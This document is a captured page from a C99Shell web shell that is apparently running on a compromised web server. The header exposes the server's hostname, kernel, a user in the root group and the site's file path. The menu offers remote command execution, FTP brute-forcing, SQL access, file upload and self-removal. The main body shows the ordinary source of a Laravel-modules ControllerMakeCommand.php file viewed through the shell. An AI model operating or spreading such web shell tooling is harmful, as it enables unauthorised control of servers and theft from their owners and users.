!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Commands/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ControllerMakeCommand.php (3.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Commands;

use 
Illuminate\Support\Str;
use 
Nwidart\Modules\Support\Config\GenerateConfigReader;
use 
Nwidart\Modules\Support\Stub;
use 
Nwidart\Modules\Traits\ModuleCommandTrait;
use 
Symfony\Component\Console\Input\InputArgument;
use 
Symfony\Component\Console\Input\InputOption;

class 
ControllerMakeCommand extends GeneratorCommand
{
    use 
ModuleCommandTrait;

    
/**
     * The name of argument being used.
     *
     * @var string
     */
    
protected $argumentName 'controller';

    
/**
     * The console command name.
     *
     * @var string
     */
    
protected $name 'module:make-controller';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Generate new restful controller for the specified module.';

    
/**
     * Get controller name.
     *
     * @return string
     */
    
public function getDestinationFilePath()
    {
        
$path $this->laravel['modules']->getModulePath($this->getModuleName());

        
$controllerPath GenerateConfigReader::read('controller');

        return 
$path $controllerPath->getPath() . '/' $this->getControllerName() . '.php';
    }

    
/**
     * @return string
     */
    
protected function getTemplateContents()
    {
        
$module $this->laravel['modules']->findOrFail($this->getModuleName());

        return (new 
Stub($this->getStubName(), [
            
'MODULENAME'        => $module->getStudlyName(),
            
'CONTROLLERNAME'    => $this->getControllerName(),
            
'NAMESPACE'         => $module->getStudlyName(),
            
'CLASS_NAMESPACE'   => $this->getClassNamespace($module),
            
'CLASS'             => $this->getControllerNameWithoutNamespace(),
            
'LOWER_NAME'        => $module->getLowerName(),
            
'MODULE'            => $this->getModuleName(),
            
'NAME'              => $this->getModuleName(),
            
'STUDLY_NAME'       => $module->getStudlyName(),
            
'MODULE_NAMESPACE'  => $this->laravel['modules']->config('namespace'),
        ]))->
render();
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'controller'InputArgument::REQUIRED'The name of the controller class.'],
            [
'module'InputArgument::OPTIONAL'The name of module will be used.'],
        ];
    }

    
/**
     * @return array
     */
    
protected function getOptions()
    {
        return [
            [
'plain''p'InputOption::VALUE_NONE'Generate a plain controller'null],
            [
'api'nullInputOption::VALUE_NONE'Exclude the create and edit methods from the controller.'],
        ];
    }

    
/**
     * @return array|string
     */
    
protected function getControllerName()
    {
        
$controller Str::studly($this->argument('controller'));

        if (
Str::contains(strtolower($controller), 'controller') === false) {
            
$controller .= 'Controller';
        }

        return 
$controller;
    }

    
/**
     * @return array|string
     */
    
private function getControllerNameWithoutNamespace()
    {
        return 
class_basename($this->getControllerName());
    }

    public function 
getDefaultNamespace() : string
    
{
        
$module $this->laravel['modules'];

        return 
$module->config('paths.generator.controller.namespace') ?: $module->config('paths.generator.controller.path''Http/Controllers');
    }

    
/**
     * Get the stub file name based on the options
     * @return string
     */
    
protected function getStubName()
    {
        if (
$this->option('plain') === true) {
            
$stub '/controller-plain.stub';
        } elseif (
$this->option('api') === true) {
            
$stub '/controller-api.stub';
        } else {
            
$stub '/controller.stub';
        }

        return 
$stub;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--